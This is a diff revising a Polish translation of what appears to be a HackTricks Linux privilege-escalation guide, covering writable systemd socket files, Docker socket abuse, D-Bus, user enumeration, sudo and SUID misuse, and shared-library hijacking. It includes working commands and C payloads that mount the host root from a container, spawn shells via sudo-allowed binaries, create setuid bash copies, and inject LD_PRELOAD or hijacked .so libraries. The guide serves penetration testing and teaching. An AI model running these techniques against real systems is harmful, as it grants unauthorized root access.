`ListenUSBFunction`: Te opcje są różne, ale podsumowanie jest używane do **określenia, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socketu AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.) -- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie jest ustawione na fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **tworzone** i związane, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu. -- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **zamykane** i usuwane, odpowiednio. -- `Service`: Określa nazwę jednostki **usługi**, **którą należy aktywować** przy **przychodzącym ruchu**. Ustawienie to jest dozwolone tylko dla socketów z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje się różnią, ale w skrócie służą do **wskazania, gdzie będzie nasłuchiwane** gniazdo (ścieżka pliku gniazda AF_UNIX, adres IPv4/6 i/lub numer portu do nasłuchiwania itp.) +- `Accept`: Przyjmuje argument typu boolean. Jeśli **true**, dla każdego przychodzącego połączenia **uruchamiany jest osobny egzemplarz service**, a jedynie gniazdo połączenia jest do niego przekazywane. Jeśli **false**, wszystkie gniazda nasłuchujące są **przekazywane do uruchomionej jednostki service**, i tylko jedna jednostka service jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla datagram sockets i FIFOs, gdzie jedna jednostka service niezmiennie obsługuje cały przychodzący ruch. **Domyślnie: false**. Ze względów wydajnościowych zaleca się pisać nowe demony w sposób zgodny z `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **sockets**/FIFOs, odpowiednio. Pierwszy token linii poleceń musi być absolutną ścieżką do pliku wykonywalnego, po którym następują argumenty procesu. +- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **sockets**/FIFOs, odpowiednio. +- `Service`: Określa nazwę jednostki **service**, którą należy **aktywować** przy **ruchu przychodzącym**. To ustawienie jest dozwolone tylko dla sockets z Accept=no. Domyślnie wskazuje na jednostkę service o tej samej nazwie co socket (z zamienionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji. -### Writable .socket files +### Zapisowalne .socket files -Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie wykonany przed utworzeniem socketu. Dlatego prawdopodobnie będziesz **musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\ -_Note, że system musi korzystać z tej konfiguracji pliku socket, inaczej backdoor nie zostanie wykonany._ +Jeśli znajdziesz **zapisowalny** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś w stylu: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie uruchomiony przed utworzeniem gniazda. W związku z tym **prawdopodobnie będziesz musiał poczekać na restart maszyny.**\ +_I pamiętaj, że system musi używać tej konfiguracji pliku socket, inaczej backdoor nie zostanie uruchomiony_ -### Writable sockets +### Zapisowalne gniazda -Jeśli **zidentyfikujesz jakikolwiek writable socket** (_teraz mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym socketem i być może wykorzystać lukę. +Jeśli **zidentyfikujesz jakiekolwiek zapisywalne gniazdo** (_mówimy tu o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym gniazdem i być może wykorzystać lukę. -### Enumerate Unix Sockets +### Enumeracja Unix Sockets ```bash netstat -a -p --unix ``` @@ -482,38 +482,38 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of socket-command-injection.md {{#endref}} -### Gniazda HTTP +### HTTP sockets -Zauważ, że mogą istnieć **gniazda nasłuchujące na żądania HTTP** (_Nie mówię o plikach .socket, ale o plikach działających jako gniazda unixowe_). Możesz to sprawdzić za pomocą: +Zauważ, że mogą istnieć **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). Możesz to sprawdzić za pomocą: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i być może **wykorzystać jakąś lukę**. +Jeśli socket **odpowiada na żądania HTTP**, możesz się z nim **komunikować** i być może **exploit some vulnerability**. -### Zapisowalny gniazdo Docker +### Zapisalny Docker Socket -Gniazdo Docker, często znajdujące się w `/var/run/docker.sock`, jest krytycznym plikiem, który powinien być zabezpieczony. Domyślnie jest zapisywalne przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu w tym gnieździe może prowadzić do eskalacji uprawnień. Oto podział, jak można to zrobić oraz alternatywne metody, jeśli CLI Docker nie jest dostępne. +Docker socket, często znajdujący się pod `/var/run/docker.sock`, to krytyczny plik, który należy zabezpieczyć. Domyślnie jest zapisywalny przez użytkownika `root` oraz członków grupy `docker`. Posiadanie dostępu zapisu do tego socketu może prowadzić do privilege escalation. Poniżej znajduje się przegląd, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. -#### **Eskalacja uprawnień z użyciem Docker CLI** +#### **Privilege Escalation with Docker CLI** -Jeśli masz dostęp do zapisu w gnieździe Docker, możesz eskalować uprawnienia, używając następujących poleceń: +Jeśli masz dostęp zapisu do Docker socket, możesz escalate privileges, używając następujących poleceń: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Te polecenia pozwalają na uruchomienie kontenera z dostępem na poziomie roota do systemu plików hosta. +Te polecenia pozwalają uruchomić kontener z dostępem root do systemu plików hosta. -#### **Bezpośrednie użycie API Docker** +#### **Korzystanie bezpośrednio z Docker API** -W przypadkach, gdy interfejs wiersza poleceń Docker nie jest dostępny, gniazdo Docker można nadal manipulować za pomocą API Docker i poleceń `curl`. +W przypadkach, gdy Docker CLI nie jest dostępny, do gniazda Docker można nadal uzyskać dostęp za pomocą Docker API i poleceń `curl`. -1. **Lista obrazów Docker:** Pobierz listę dostępnych obrazów. +1. **List Docker Images:** Pobierz listę dostępnych obrazów. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Utwórz kontener:** Wyślij żądanie utworzenia kontenera, który montuje katalog główny systemu hosta. +2. **Create a Container:** Wyślij żądanie utworzenia kontenera, który zamontuje katalog root systemu hosta. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -525,7 +525,7 @@ Uruchom nowo utworzony kontener: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Podłącz do kontenera:** Użyj `socat`, aby nawiązać połączenie z kontenerem, umożliwiając wykonanie poleceń w jego wnętrzu. +3. **Attach to the Container:** Użyj `socat`, aby nawiązać połączenie z kontenerem, umożliwiając wykonywanie poleceń wewnątrz niego. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,31 +535,31 @@ Connection: Upgrade Upgrade: tcp ``` -Po skonfigurowaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z dostępem na poziomie roota do systemu plików hosta. +Po nawiązaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami root do systemu plików hosta. ### Inne -Zauważ, że jeśli masz uprawnienia do zapisu w gnieździe docker, ponieważ jesteś **w grupie `docker`**, masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**API docker nasłuchuje na porcie**, możesz również być w stanie je skompromitować](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Zauważ, że jeśli masz uprawnienia zapisu do gniazda docker, ponieważ jesteś **inside the group `docker`**, masz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Sprawdź **więcej sposobów na wydostanie się z dockera lub nadużycie go w celu eskalacji uprawnień** w: +Sprawdź **more ways to break out from docker or abuse it to escalate privileges** w: {{#ref}} docker-security/ {{#endref}} -## Eskalacja uprawnień Containerd (ctr) +## Containerd (ctr) privilege escalation -Jeśli odkryjesz, że możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go w celu eskalacji uprawnień**: +Jeśli stwierdzisz, że możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **Eskalacja uprawnień RunC** +## **RunC** privilege escalation -Jeśli odkryjesz, że możesz użyć polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go w celu eskalacji uprawnień**: +Jeśli stwierdzisz, że możesz użyć polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -568,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywne interakcje i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną strukturę dla różnych form komunikacji aplikacji. +D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywną interakcję i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. -System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto, wspomaga w nadawaniu zdarzeń lub sygnałów, ułatwiając płynne integrowanie komponentów systemu. Na przykład, sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo, D-Bus wspiera system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie skomplikowane. +System jest wszechstronny, wspiera podstawową komunikację międzyprocesową, która usprawnia wymianę danych między procesami, przypominając **enhanced UNIX domain sockets**. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając płynną integrację komponentów systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, co upraszcza procesy, które tradycyjnie były skomplikowane. -D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie kumulatywnego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień. +D-Bus działa w **allow/deny model**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie sumarycznego efektu pasujących reguł polityki. Te polityki określają interakcje z busem, co może potencjalnie umożliwić privilege escalation poprzez wykorzystanie tych uprawnień. -Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości z `fi.w1.wpa_supplicant1`. +Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. -Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki kontekstowe "domyślne" mają zastosowanie do wszystkich, które nie są objęte innymi specyficznymi politykami. +Polityki bez określonego użytkownika lub grupy stosuje się uniwersalnie, podczas gdy polityki z kontekstem "default" stosuje się do wszystkich nieobjętych innymi, bardziej szczegółowymi politykami. ```xml @@ -594,7 +594,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Sieć** -Zawsze warto enumerować sieć i ustalić pozycję maszyny. +Zawsze warto przeprowadzić enumerację sieci i ustalić pozycję maszyny. ### Ogólna enumeracja ```bash @@ -621,22 +621,22 @@ lsof -i ``` ### Otwarte porty -Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którą nie mogłeś wcześniej interagować: +Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś wchodzić w interakcję przed uzyskaniem do niej dostępu: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Sprawdź, czy możesz przechwycić ruch. Jeśli tak, możesz być w stanie zdobyć jakieś poświadczenia. +Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz zdobyć poświadczenia. ``` timeout 1 tcpdump ``` ## Użytkownicy -### Ogólna enumeracja +### Generic Enumeration -Sprawdź **kto** jesteś, jakie **uprawnienia** posiadasz, którzy **użytkownicy** są w systemach, którzy mogą **zalogować** się i którzy mają **uprawnienia root:** +Sprawdź **who** jesteś, jakie masz **privileges**, którzy **users** są w systemie, którzy mogą **login** i którzy mają **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -658,21 +658,21 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Duży UID -Niektóre wersje Linuxa były dotknięte błędem, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Wykorzystaj to** używając: **`systemd-run -t /bin/bash`** +Niektóre wersje Linuxa były podatne na błąd, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Wykorzystaj to za pomocą: **`systemd-run -t /bin/bash`** -### Groups +### Grupy -Sprawdź, czy jesteś **członkiem jakiejś grupy**, która może przyznać ci uprawnienia roota: +Sprawdź, czy jesteś **członkiem jakiejś grupy**, która mogłaby przyznać ci uprawnienia roota: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Schowek Sprawdź, czy w schowku znajduje się coś interesującego (jeśli to możliwe) ```bash @@ -691,27 +691,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Znane hasła -Jeśli **znasz jakiekolwiek hasło** środowiska **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. +Jeśli **znasz jakiekolwiek hasło** w środowisku, **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. ### Su Brute -Jeśli nie przeszkadza ci robienie dużego hałasu i binaria `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić atak brute-force na użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić atak brute-force na użytkowników. +Jeśli nie przeszkadza ci generowanie dużego hałasu i binarki `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić brute-force użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić brute-force użytkowników. -## Nadużycia związane z zapisywalnym PATH +## Nadużycia zapisywalnego $PATH ### $PATH -Jeśli odkryjesz, że możesz **zapisywać w niektórym folderze $PATH**, możesz być w stanie podnieść uprawnienia poprzez **utworzenie tylnej furtki w zapisywalnym folderze** o nazwie jakiejś komendy, która będzie wykonywana przez innego użytkownika (najlepiej root) i która **nie jest ładowana z folderu, który znajduje się przed** twoim zapisywalnym folderem w $PATH. +Jeśli odkryjesz, że możesz **zapisywać w jakimś katalogu należącym do $PATH**, możesz być w stanie eskalować uprawnienia przez **utworzenie backdoor w zapisywalnym katalogu** o nazwie pewnego polecenia, które zostanie wykonane przez innego użytkownika (root ideally) i które **nie jest ładowane z katalogu znajdującego się wcześniej** niż twój zapisywalny katalog w $PATH. -### SUDO i SUID +### SUDO and SUID -Możesz mieć pozwolenie na wykonanie niektórej komendy za pomocą sudo lub mogą mieć ustawiony bit suid. Sprawdź to używając: +Możesz mieć możliwość wykonania jakiegoś polecenia za pomocą sudo lub plik może mieć ustawiony bit suid. Sprawdź to używając: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików lub nawet wykonanie polecenia.** Na przykład: +Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików, a nawet wykonanie polecenia.** Na przykład: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -722,31 +722,31 @@ less>! ``` ### NOPASSWD -Konfiguracja Sudo może pozwolić użytkownikowi na wykonanie niektórych poleceń z uprawnieniami innego użytkownika bez znajomości hasła. +Konfiguracja Sudo może pozwolić użytkownikowi na uruchomienie pewnego polecenia z uprawnieniami innego użytkownika bez znajomości hasła. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`, teraz uzyskanie powłoki jest trywialne poprzez dodanie klucza ssh do katalogu root lub przez wywołanie `sh`. +W tym przykładzie użytkownik `demo` może uruchamiać `vim` jako `root`; teraz zdobycie shellu jest trywialne — wystarczy dodać ssh key do root directory lub wywołać `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ta dyrektywa pozwala użytkownikowi na **ustawienie zmiennej środowiskowej** podczas wykonywania czegoś: +Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania polecenia: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ten przykład, **oparty na maszynie HTB Admirer**, był **vulnerable** na **PYTHONPATH hijacking**, aby załadować dowolną bibliotekę Pythona podczas wykonywania skryptu jako root: +Ten przykład, **oparty na HTB machine Admirer**, był **podatny** na **PYTHONPATH hijacking**, co pozwalało na załadowanie dowolnej biblioteki python podczas uruchamiania skryptu jako root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo execution bypassing paths +### Sudo — omijanie ścieżek wykonywania -**Skocz** do przeczytania innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Skocz** aby odczytać inne pliki lub użyj **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -756,46 +756,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Jeśli użyto **wildcard** (\*), jest to jeszcze łatwiejsze: +Jeśli użyty zostanie **wildcard** (\*), jest to jeszcze łatwiejsze: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Środki zaradcze**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Komenda Sudo/binary SUID bez ścieżki komendy +### Sudo command/SUID binary bez ścieżki do polecenia -Jeśli **uprawnienie sudo** jest przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_, możesz to wykorzystać, zmieniając zmienną PATH. +Jeśli nadano **sudo permission** dla pojedynczego polecenia **bez określenia ścieżki**: _hacker10 ALL= (root) less_, możesz to wykorzystać, zmieniając zmienną PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ta technika może być również używana, jeśli **suid** binarny **wykonuje inne polecenie bez określenia ścieżki do niego (zawsze sprawdzaj za pomocą** _**strings**_ **zawartość dziwnego binarnego pliku SUID)**. +Ta technika może być również użyta, jeśli binarka **suid** **wywołuje inne polecenie bez określenia ścieżki do niego (zawsze sprawdź zawartość dziwnej binarki SUID za pomocą** _**strings**_**)**). -[Przykłady ładunków do wykonania.](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) -### Binarne pliki SUID z określoną ścieżką polecenia +### SUID binary ze ścieżką polecenia -Jeśli **suid** binarny **wykonuje inne polecenie, określając ścieżkę**, wtedy możesz spróbować **wyeksportować funkcję** o nazwie odpowiadającej poleceniu, które wywołuje plik suid. +Jeśli binarka **suid** **wywołuje inne polecenie określając ścieżkę**, możesz spróbować **wyeksportować funkcję** nazwaną tak, jak polecenie, które wywołuje plik suid. -Na przykład, jeśli binarny plik suid wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować stworzyć funkcję i ją wyeksportować: +Na przykład, jeśli binarka **suid** wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować utworzyć funkcję i ją wyeksportować: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wtedy, gdy wywołasz binarny plik suid, ta funkcja zostanie wykonana +Potem, gdy wywołasz binarkę suid, ta funkcja zostanie wykonana ### LD_PRELOAD & **LD_LIBRARY_PATH** -Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so) do załadowania przez loadera przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Proces ten nazywa się preładowaniem biblioteki. +Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so files), które loader załaduje przed wszystkimi innymi, w tym przed standardową biblioteką C (`libc.so`). Ten proces jest znany jako wstępne ładowanie biblioteki. -Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku plików wykonywalnych **suid/sgid**, system egzekwuje pewne warunki: +Jednak, aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików **suid/sgid**, system wymusza pewne warunki: -- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których rzeczywisty identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_). -- Dla plików wykonywalnych z suid/sgid, preładowane są tylko biblioteki w standardowych ścieżkach, które również są suid/sgid. +- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których rzeczywisty identyfikator użytkownika (_ruid_) nie odpowiada efektywnemu identyfikatorowi użytkownika (_euid_). +- Dla programów z **suid/sgid** wstępnie ładowane są tylko biblioteki znajdujące się w standardowych ścieżkach, które same są oznaczone jako **suid/sgid**. -Podniesienie uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo`, a wynik `sudo -l` zawiera stwierdzenie **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala na utrzymanie zmiennej środowiskowej **LD_PRELOAD** i jej rozpoznawanie, nawet gdy polecenia są uruchamiane z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami. +Escalacja uprawnień może nastąpić, jeśli masz możliwość uruchamiania poleceń z użyciem `sudo`, a wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala, by zmienna środowiskowa **LD_PRELOAD** przetrwała i była rozpoznawana nawet przy uruchamianiu poleceń przez `sudo`, co może prowadzić do wykonania dowolnego kodu z podwyższonymi uprawnieniami. ``` Defaults env_keep += LD_PRELOAD ``` @@ -817,12 +817,12 @@ Następnie **skompiluj to** używając: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -W końcu, **escalate privileges** uruchamiając +Na koniec, **escalate privileges** uruchamiając ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Podobne privesc może być nadużywane, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. +> Podobny privesc może zostać wykorzystany, jeśli atakujący kontroluje **LD_LIBRARY_PATH** env variable, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. ```c #include #include @@ -844,13 +844,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Gdy napotkasz binarny plik z uprawnieniami **SUID**, który wydaje się nietypowy, dobrym zwyczajem jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: +Jeśli natkniesz się na binary z uprawnieniami **SUID**, które wydają się nietypowe, dobrą praktyką jest sprawdzenie, czy prawidłowo ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjał do wykorzystania. +Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjalną możliwość wykorzystania. -Aby to wykorzystać, należy stworzyć plik C, powiedzmy _"/path/to/.config/libcalc.c"_, zawierający następujący kod: +Aby to wykorzystać, należy utworzyć plik źródłowy w C, na przykład _"/path/to/.config/libcalc.c"_, zawierający następujący kod: ```c #include #include @@ -861,15 +861,15 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ten kod, po skompilowaniu i wykonaniu, ma na celu podniesienie uprawnień poprzez manipulację uprawnieniami plików i uruchomienie powłoki z podniesionymi uprawnieniami. +Ten kod, po skompilowaniu i uruchomieniu, ma na celu podniesienie uprawnień poprzez manipulowanie uprawnieniami plików i uruchomienie shell z podwyższonymi uprawnieniami. -Skompiluj powyższy plik C do pliku obiektu współdzielonego (.so) za pomocą: +Skompiluj powyższy plik C do pliku .so za pomocą: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Ostatecznie uruchomienie dotkniętego binarnego pliku SUID powinno wywołać exploit, co może prowadzić do kompromitacji systemu. +Wreszcie uruchomienie dotkniętego pliku binarnego SUID powinno wywołać exploit, umożliwiając potencjalne przejęcie systemu. -## Przechwytywanie obiektów współdzielonych +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -879,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Teraz, gdy znaleźliśmy binarny plik SUID ładujący bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o potrzebnej nazwie: +Teraz, gdy znaleźliśmy SUID binary, który ładuje bibliotekę z folderu, do którego możemy zapisywać, stwórzmy bibliotekę w tym folderze o wymaganej nazwie: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -896,13 +896,13 @@ Jeśli otrzymasz błąd taki jak ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -to oznacza, że biblioteka, którą wygenerowałeś, musi mieć funkcję o nazwie `a_function_name`. +to oznacza, że wygenerowana biblioteka musi zawierać funkcję o nazwie `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) to starannie wyselekcjonowana lista binarnych plików Unix, które mogą być wykorzystywane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) jest tym samym, ale w przypadkach, gdy możesz **tylko wstrzykiwać argumenty** w poleceniu. +[**GTFOBins**](https://gtfobins.github.io) to skatalogowana lista binarek Unix, które mogą zostać wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) to to samo, ale dla przypadków, gdy możesz **tylko wstrzykiwać argumenty** w polecenie. 